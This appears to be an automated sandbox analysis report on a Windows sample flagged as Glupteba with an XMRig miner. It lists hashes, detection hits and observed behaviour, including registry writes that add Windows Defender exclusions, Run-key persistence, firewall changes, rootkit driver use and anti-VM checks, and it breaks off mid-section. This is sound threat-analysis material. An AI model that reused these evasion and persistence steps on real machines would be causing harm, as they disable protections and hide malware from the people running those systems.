Analysis
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max time kernel
300s -
max time network
300s -
platform
windows10-1703_x64 -
resource
win10-20240404-en -
resource tags
arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system -
submitted
18-04-2024 22:34
Static task
static1
Behavioral task
behavioral1
Sample
42cbc417bd205d7d81c7e541b90d5dc41a1a7a9b2d1fc2b0b70bd5a55e50a8ba.exe
Resource
win7-20240221-en
General
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Target
42cbc417bd205d7d81c7e541b90d5dc41a1a7a9b2d1fc2b0b70bd5a55e50a8ba.exe
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Size
4.2MB
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MD5
b826e2dd851ae9d038c57a034e736938
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SHA1
668003266a34580c5aad94e41dfd97ab458d22d2
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SHA256
42cbc417bd205d7d81c7e541b90d5dc41a1a7a9b2d1fc2b0b70bd5a55e50a8ba
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SHA512
505904abb7ca6b4c6dbaabde4a375b9dc184554d04c90c818bf33dc250ad5b60969ff30aa877f90b907926db015ef6bfc876434882e163cc9accc95548f1d993
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SSDEEP
98304:mtjN4XUN5lD056p7XAm0hR9X9T5AEVb4a7iAHgos518NY:rRATQPX9T5A6hiAH2518i
Malware Config
Signatures
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Glupteba payload 39 IoCs
Processes:
resource yara_rule behavioral2/memory/2752-2-0x0000000005060000-0x000000000594B000-memory.dmp family_glupteba behavioral2/memory/2752-3-0x0000000000400000-0x0000000003017000-memory.dmp family_glupteba behavioral2/memory/2752-301-0x0000000000400000-0x0000000003017000-memory.dmp family_glupteba behavioral2/memory/2752-303-0x0000000005060000-0x000000000594B000-memory.dmp family_glupteba behavioral2/memory/3444-305-0x0000000000400000-0x0000000003017000-memory.dmp family_glupteba behavioral2/memory/3444-557-0x0000000000400000-0x0000000003017000-memory.dmp family_glupteba behavioral2/memory/3444-803-0x0000000000400000-0x0000000003017000-memory.dmp family_glupteba behavioral2/memory/3444-1041-0x0000000000400000-0x0000000003017000-memory.dmp family_glupteba behavioral2/memory/4400-1045-0x0000000005700000-0x0000000005FEB000-memory.dmp family_glupteba behavioral2/memory/4400-1048-0x0000000000400000-0x0000000003017000-memory.dmp family_glupteba behavioral2/memory/4400-1322-0x0000000000400000-0x0000000003017000-memory.dmp family_glupteba behavioral2/memory/4400-1784-0x0000000000400000-0x0000000003017000-memory.dmp family_glupteba behavioral2/memory/4400-1793-0x0000000000400000-0x0000000003017000-memory.dmp family_glupteba behavioral2/memory/4400-1795-0x0000000000400000-0x0000000003017000-memory.dmp family_glupteba behavioral2/memory/4400-1797-0x0000000000400000-0x0000000003017000-memory.dmp family_glupteba behavioral2/memory/4400-1799-0x0000000000400000-0x0000000003017000-memory.dmp family_glupteba behavioral2/memory/4400-1801-0x0000000000400000-0x0000000003017000-memory.dmp family_glupteba behavioral2/memory/4400-1803-0x0000000000400000-0x0000000003017000-memory.dmp family_glupteba behavioral2/memory/4400-1805-0x0000000000400000-0x0000000003017000-memory.dmp family_glupteba behavioral2/memory/4400-1807-0x0000000000400000-0x0000000003017000-memory.dmp family_glupteba behavioral2/memory/4400-1809-0x0000000000400000-0x0000000003017000-memory.dmp family_glupteba behavioral2/memory/4400-1811-0x0000000000400000-0x0000000003017000-memory.dmp family_glupteba behavioral2/memory/4400-1813-0x0000000000400000-0x0000000003017000-memory.dmp family_glupteba behavioral2/memory/4400-1815-0x0000000000400000-0x0000000003017000-memory.dmp family_glupteba behavioral2/memory/4400-1817-0x0000000000400000-0x0000000003017000-memory.dmp family_glupteba behavioral2/memory/4400-1819-0x0000000000400000-0x0000000003017000-memory.dmp family_glupteba behavioral2/memory/4400-1821-0x0000000000400000-0x0000000003017000-memory.dmp family_glupteba behavioral2/memory/4400-1823-0x0000000000400000-0x0000000003017000-memory.dmp family_glupteba behavioral2/memory/4400-1825-0x0000000000400000-0x0000000003017000-memory.dmp family_glupteba behavioral2/memory/4400-1827-0x0000000000400000-0x0000000003017000-memory.dmp family_glupteba behavioral2/memory/4400-1829-0x0000000000400000-0x0000000003017000-memory.dmp family_glupteba behavioral2/memory/4400-1831-0x0000000000400000-0x0000000003017000-memory.dmp family_glupteba behavioral2/memory/4400-1833-0x0000000000400000-0x0000000003017000-memory.dmp family_glupteba behavioral2/memory/4400-1835-0x0000000000400000-0x0000000003017000-memory.dmp family_glupteba behavioral2/memory/4400-2358-0x0000000000400000-0x0000000003017000-memory.dmp family_glupteba behavioral2/memory/4400-2443-0x0000000000400000-0x0000000003017000-memory.dmp family_glupteba behavioral2/memory/1384-2498-0x0000000000400000-0x0000000003017000-memory.dmp family_glupteba behavioral2/memory/1384-2556-0x0000000000400000-0x0000000003017000-memory.dmp family_glupteba behavioral2/memory/4400-2559-0x0000000000400000-0x0000000003017000-memory.dmp family_glupteba -
Processes:
42cbc417bd205d7d81c7e541b90d5dc41a1a7a9b2d1fc2b0b70bd5a55e50a8ba.exedescription ioc process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0" 42cbc417bd205d7d81c7e541b90d5dc41a1a7a9b2d1fc2b0b70bd5a55e50a8ba.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0" 42cbc417bd205d7d81c7e541b90d5dc41a1a7a9b2d1fc2b0b70bd5a55e50a8ba.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\42cbc417bd205d7d81c7e541b90d5dc41a1a7a9b2d1fc2b0b70bd5a55e50a8ba.exe = "0" 42cbc417bd205d7d81c7e541b90d5dc41a1a7a9b2d1fc2b0b70bd5a55e50a8ba.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0" 42cbc417bd205d7d81c7e541b90d5dc41a1a7a9b2d1fc2b0b70bd5a55e50a8ba.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0" 42cbc417bd205d7d81c7e541b90d5dc41a1a7a9b2d1fc2b0b70bd5a55e50a8ba.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0" 42cbc417bd205d7d81c7e541b90d5dc41a1a7a9b2d1fc2b0b70bd5a55e50a8ba.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0" 42cbc417bd205d7d81c7e541b90d5dc41a1a7a9b2d1fc2b0b70bd5a55e50a8ba.exe -
XMRig Miner payload 2 IoCs
Processes:
resource yara_rule C:\Users\Admin\AppData\Local\Temp\csrss\wup\xarch\wup.exe family_xmrig C:\Users\Admin\AppData\Local\Temp\csrss\wup\xarch\wup.exe xmrig -
Modifies Windows Firewall 2 TTPs 1 IoCs
Processes:
netsh.exepid process 1084 netsh.exe -
Executes dropped EXE 8 IoCs
Processes:
csrss.exeinjector.exewindefender.exewindefender.exedcb505dc2b9d8aac05f4ca0727f5eadb.exe713674d5e968cbe2102394be0b2bae6f.exewup.execsrss.exepid process 4400 csrss.exe 4904 injector.exe 2584 windefender.exe 4080 windefender.exe 584 dcb505dc2b9d8aac05f4ca0727f5eadb.exe 672 713674d5e968cbe2102394be0b2bae6f.exe 708 wup.exe 1384 csrss.exe -
Processes:
resource yara_rule C:\Windows\windefender.exe upx behavioral2/memory/2584-1792-0x0000000000400000-0x00000000008DF000-memory.dmp upx behavioral2/memory/4080-1794-0x0000000000400000-0x00000000008DF000-memory.dmp upx behavioral2/memory/4080-1798-0x0000000000400000-0x00000000008DF000-memory.dmp upx C:\Users\Admin\AppData\Local\Temp\csrss\dcb505dc2b9d8aac05f4ca0727f5eadb.exe upx C:\Users\Admin\AppData\Local\Temp\csrss\713674d5e968cbe2102394be0b2bae6f.exe upx behavioral2/memory/584-2335-0x0000000000400000-0x00000000008E1000-memory.dmp upx behavioral2/memory/672-2496-0x0000000000090000-0x000000000095D000-memory.dmp upx behavioral2/memory/672-2554-0x0000000000090000-0x000000000095D000-memory.dmp upx -
Processes:
42cbc417bd205d7d81c7e541b90d5dc41a1a7a9b2d1fc2b0b70bd5a55e50a8ba.exedescription ioc process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0" 42cbc417bd205d7d81c7e541b90d5dc41a1a7a9b2d1fc2b0b70bd5a55e50a8ba.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0" 42cbc417bd205d7d81c7e541b90d5dc41a1a7a9b2d1fc2b0b70bd5a55e50a8ba.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0" 42cbc417bd205d7d81c7e541b90d5dc41a1a7a9b2d1fc2b0b70bd5a55e50a8ba.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0" 42cbc417bd205d7d81c7e541b90d5dc41a1a7a9b2d1fc2b0b70bd5a55e50a8ba.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0" 42cbc417bd205d7d81c7e541b90d5dc41a1a7a9b2d1fc2b0b70bd5a55e50a8ba.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\42cbc417bd205d7d81c7e541b90d5dc41a1a7a9b2d1fc2b0b70bd5a55e50a8ba.exe = "0" 42cbc417bd205d7d81c7e541b90d5dc41a1a7a9b2d1fc2b0b70bd5a55e50a8ba.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0" 42cbc417bd205d7d81c7e541b90d5dc41a1a7a9b2d1fc2b0b70bd5a55e50a8ba.exe -
Adds Run key to start application 2 TTPs 2 IoCs
Processes:
42cbc417bd205d7d81c7e541b90d5dc41a1a7a9b2d1fc2b0b70bd5a55e50a8ba.execsrss.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000\Software\Microsoft\Windows\CurrentVersion\Run\csrss = "\"C:\\Windows\\rss\\csrss.exe\"" 42cbc417bd205d7d81c7e541b90d5dc41a1a7a9b2d1fc2b0b70bd5a55e50a8ba.exe Set value (str) \REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000\Software\Microsoft\Windows\CurrentVersion\Run\csrss = "\"C:\\Windows\\rss\\csrss.exe\"" csrss.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
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Manipulates WinMonFS driver. 1 IoCs
Roottkits write to WinMonFS to hide directories/files from being detected.
Processes:
csrss.exedescription ioc process File opened for modification \??\WinMonFS csrss.exe -
Drops file in System32 directory 11 IoCs
Processes:
powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exedescription ioc process File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive powershell.exe File created C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache powershell.exe File created C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive powershell.exe File created C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log powershell.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive powershell.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive powershell.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive powershell.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive powershell.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive powershell.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive powershell.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache powershell.exe -
Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs
Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.
Processes:
42cbc417bd205d7d81c7e541b90d5dc41a1a7a9b2d1fc2b0b70bd5a55e50a8ba.exedescription ioc process File opened (read-only) \??\VBoxMiniRdrDN 42cbc417bd205d7d81c7e541b90d5dc41a1a7a9b2d1fc2b0b70bd5a55e50a8ba.exe -
Drops file in Windows directory 4 IoCs
Processes:
42cbc417bd205d7d81c7e541b90d5dc41a1a7a9b2d1fc2b0b70bd5a55e50a8ba.execsrss.exedescription ioc process File opened for modification C:\Windows\rss 42cbc417bd205d7d81c7e541b90d5dc41a1a7a9b2d1fc2b0b70bd5a55e50a8ba.exe File created C:\Windows\rss\csrss.exe 42cbc417bd205d7d81c7e541b90d5dc41a1a7a9b2d1fc2b0b70bd5a55e50a8ba.exe File created C:\Windows\windefender.exe csrss.exe File opened for modification C:\Windows\windefender.exe csrss.exe -
Launches sc.exe 1 IoCs
Sc.exe is a Windows utlilty to control services on the system.
Processes:
sc.exepid process 3908 sc.exe -
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
Processes:
schtasks.exeschtasks.exepid process 4388 schtasks.exe 2492 schtasks.exe -
GoLang User-Agent 2 IoCs
Uses default user-agent string defined by GoLang HTTP packages.
Processes:
description flow ioc HTTP User-Agent header 43 Go-http-client/1.1 HTTP User-Agent header 44 Go-http-client/1.1 -
Modifies data under HKEY_USERS 64 IoCs
Processes:
powershell.exewindefender.exepowershell.exepowershell.exe42cbc417bd205d7d81c7e541b90d5dc41a1a7a9b2d1fc2b0b70bd5a55e50a8ba.exepowershell.exepowershell.execsrss.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exenetsh.exedescription ioc process Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-1721 = "Libya Daylight Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-1931 = "Russia TZ 11 Daylight Time" windefender.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-351 = "FLE Daylight Time" 42cbc417bd205d7d81c7e541b90d5dc41a1a7a9b2d1fc2b0b70bd5a55e50a8ba.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-891 = "Morocco Daylight Time" windefender.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-401 = "Arabic Daylight Time" 42cbc417bd205d7d81c7e541b90d5dc41a1a7a9b2d1fc2b0b70bd5a55e50a8ba.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-831 = "SA Eastern Daylight Time" 42cbc417bd205d7d81c7e541b90d5dc41a1a7a9b2d1fc2b0b70bd5a55e50a8ba.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2161 = "Altai Daylight Time" 42cbc417bd205d7d81c7e541b90d5dc41a1a7a9b2d1fc2b0b70bd5a55e50a8ba.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2531 = "Chatham Islands Daylight Time" 42cbc417bd205d7d81c7e541b90d5dc41a1a7a9b2d1fc2b0b70bd5a55e50a8ba.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2412 = "Marquesas Standard Time" 42cbc417bd205d7d81c7e541b90d5dc41a1a7a9b2d1fc2b0b70bd5a55e50a8ba.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-691 = "Tasmania Daylight Time" 42cbc417bd205d7d81c7e541b90d5dc41a1a7a9b2d1fc2b0b70bd5a55e50a8ba.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-151 = "Central America Daylight Time" 42cbc417bd205d7d81c7e541b90d5dc41a1a7a9b2d1fc2b0b70bd5a55e50a8ba.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-1971 = "Belarus Daylight Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-621 = "Korea Daylight Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-912 = "Mauritius Standard Time" windefender.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-461 = "Afghanistan Daylight Time" 42cbc417bd205d7d81c7e541b90d5dc41a1a7a9b2d1fc2b0b70bd5a55e50a8ba.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-2842 = "Saratov Standard Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-931 = "Coordinated Universal Time" windefender.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-105 = "Central Brazilian Standard Time" 42cbc417bd205d7d81c7e541b90d5dc41a1a7a9b2d1fc2b0b70bd5a55e50a8ba.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-2792 = "Novosibirsk Standard Time" windefender.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-2492 = "Aus Central W. Standard Time" windefender.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\SYSTEM\CurrentControlSet\Control\NetTrace netsh.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-172 = "Central Standard Time (Mexico)" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-592 = "Malay Peninsula Standard Time" windefender.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2841 = "Saratov Daylight Time" 42cbc417bd205d7d81c7e541b90d5dc41a1a7a9b2d1fc2b0b70bd5a55e50a8ba.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-271 = "Greenwich Daylight Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2141 = "Transbaikal Daylight Time" 42cbc417bd205d7d81c7e541b90d5dc41a1a7a9b2d1fc2b0b70bd5a55e50a8ba.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-251 = "Dateline Daylight Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-212 = "Pacific Standard Time" 42cbc417bd205d7d81c7e541b90d5dc41a1a7a9b2d1fc2b0b70bd5a55e50a8ba.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
powershell.exe42cbc417bd205d7d81c7e541b90d5dc41a1a7a9b2d1fc2b0b70bd5a55e50a8ba.exepowershell.exe42cbc417bd205d7d81c7e541b90d5dc41a1a7a9b2d1fc2b0b70bd5a55e50a8ba.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exeinjector.execsrss.exepid process 5000 powershell.exe 5000 powershell.exe 5000 powershell.exe 2752 42cbc417bd205d7d81c7e541b90d5dc41a1a7a9b2d1fc2b0b70bd5a55e50a8ba.exe 2752 42cbc417bd205d7d81c7e541b90d5dc41a1a7a9b2d1fc2b0b70bd5a55e50a8ba.exe 4500 powershell.exe 4500 powershell.exe 4500 powershell.exe 3444 42cbc417bd205d7d81c7e541b90d5dc41a1a7a9b2d1fc2b0b70bd5a55e50a8ba.exe 3444 42cbc417bd205d7d81c7e541b90d5dc41a1a7a9b2d1fc2b0b70bd5a55e50a8ba.exe 3444 42cbc417bd205d7d81c7e541b90d5dc41a1a7a9b2d1fc2b0b70bd5a55e50a8ba.exe 3444 42cbc417bd205d7d81c7e541b90d5dc41a1a7a9b2d1fc2b0b70bd5a55e50a8ba.exe 3444 42cbc417bd205d7d81c7e541b90d5dc41a1a7a9b2d1fc2b0b70bd5a55e50a8ba.exe 3444 42cbc417bd205d7d81c7e541b90d5dc41a1a7a9b2d1fc2b0b70bd5a55e50a8ba.exe 3444 42cbc417bd205d7d81c7e541b90d5dc41a1a7a9b2d1fc2b0b70bd5a55e50a8ba.exe 3444 42cbc417bd205d7d81c7e541b90d5dc41a1a7a9b2d1fc2b0b70bd5a55e50a8ba.exe 3444 42cbc417bd205d7d81c7e541b90d5dc41a1a7a9b2d1fc2b0b70bd5a55e50a8ba.exe 3444 42cbc417bd205d7d81c7e541b90d5dc41a1a7a9b2d1fc2b0b70bd5a55e50a8ba.exe 2648 powershell.exe 2648 powershell.exe 2648 powershell.exe 1172 powershell.exe 1172 powershell.exe 1172 powershell.exe 3980 powershell.exe 3980 powershell.exe 3980 powershell.exe 1140 powershell.exe 1140 powershell.exe 1140 powershell.exe 4696 powershell.exe 4696 powershell.exe 4696 powershell.exe 4904 injector.exe 4904 injector.exe 4904 injector.exe 4904 injector.exe 4904 injector.exe 4904 injector.exe 4400 csrss.exe 4400 csrss.exe 4904 injector.exe 4904 injector.exe 4904 injector.exe 4904 injector.exe 4904 injector.exe 4904 injector.exe 4400 csrss.exe 4400 csrss.exe 4904 injector.exe 4904 injector.exe 4904 injector.exe 4904 injector.exe 4400 csrss.exe 4400 csrss.exe 4904 injector.exe 4904 injector.exe 4904 injector.exe 4904 injector.exe 4904 injector.exe 4904 injector.exe 4904 injector.exe 4904 injector.exe 4904 injector.exe -
Suspicious use of AdjustPrivilegeToken 17 IoCs
Processes:
powershell.exe42cbc417bd205d7d81c7e541b90d5dc41a1a7a9b2d1fc2b0b70bd5a55e50a8ba.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.execsrss.exesc.exepowershell.exepowershell.exepowershell.exewup.exepowershell.exedescription pid process Token: SeDebugPrivilege 5000 powershell.exe Token: SeDebugPrivilege 2752 42cbc417bd205d7d81c7e541b90d5dc41a1a7a9b2d1fc2b0b70bd5a55e50a8ba.exe Token: SeImpersonatePrivilege 2752 42cbc417bd205d7d81c7e541b90d5dc41a1a7a9b2d1fc2b0b70bd5a55e50a8ba.exe Token: SeDebugPrivilege 4500 powershell.exe Token: SeDebugPrivilege 2648 powershell.exe Token: SeDebugPrivilege 1172 powershell.exe Token: SeDebugPrivilege 3980 powershell.exe Token: SeDebugPrivilege 1140 powershell.exe Token: SeDebugPrivilege 4696 powershell.exe Token: SeSystemEnvironmentPrivilege 4400 csrss.exe Token: SeSecurityPrivilege 3908 sc.exe Token: SeSecurityPrivilege 3908 sc.exe Token: SeDebugPrivilege 644 powershell.exe Token: SeDebugPrivilege 4468 powershell.exe Token: SeDebugPrivilege 4364 powershell.exe Token: SeLockMemoryPrivilege 708 wup.exe Token: SeDebugPrivilege 3740 powershell.exe -
Suspicious use of FindShellTrayWindow 1 IoCs
Processes:
wup.exepid process 708 wup.exe -
Suspicious use of WriteProcessMemory 59 IoCs
Processes:
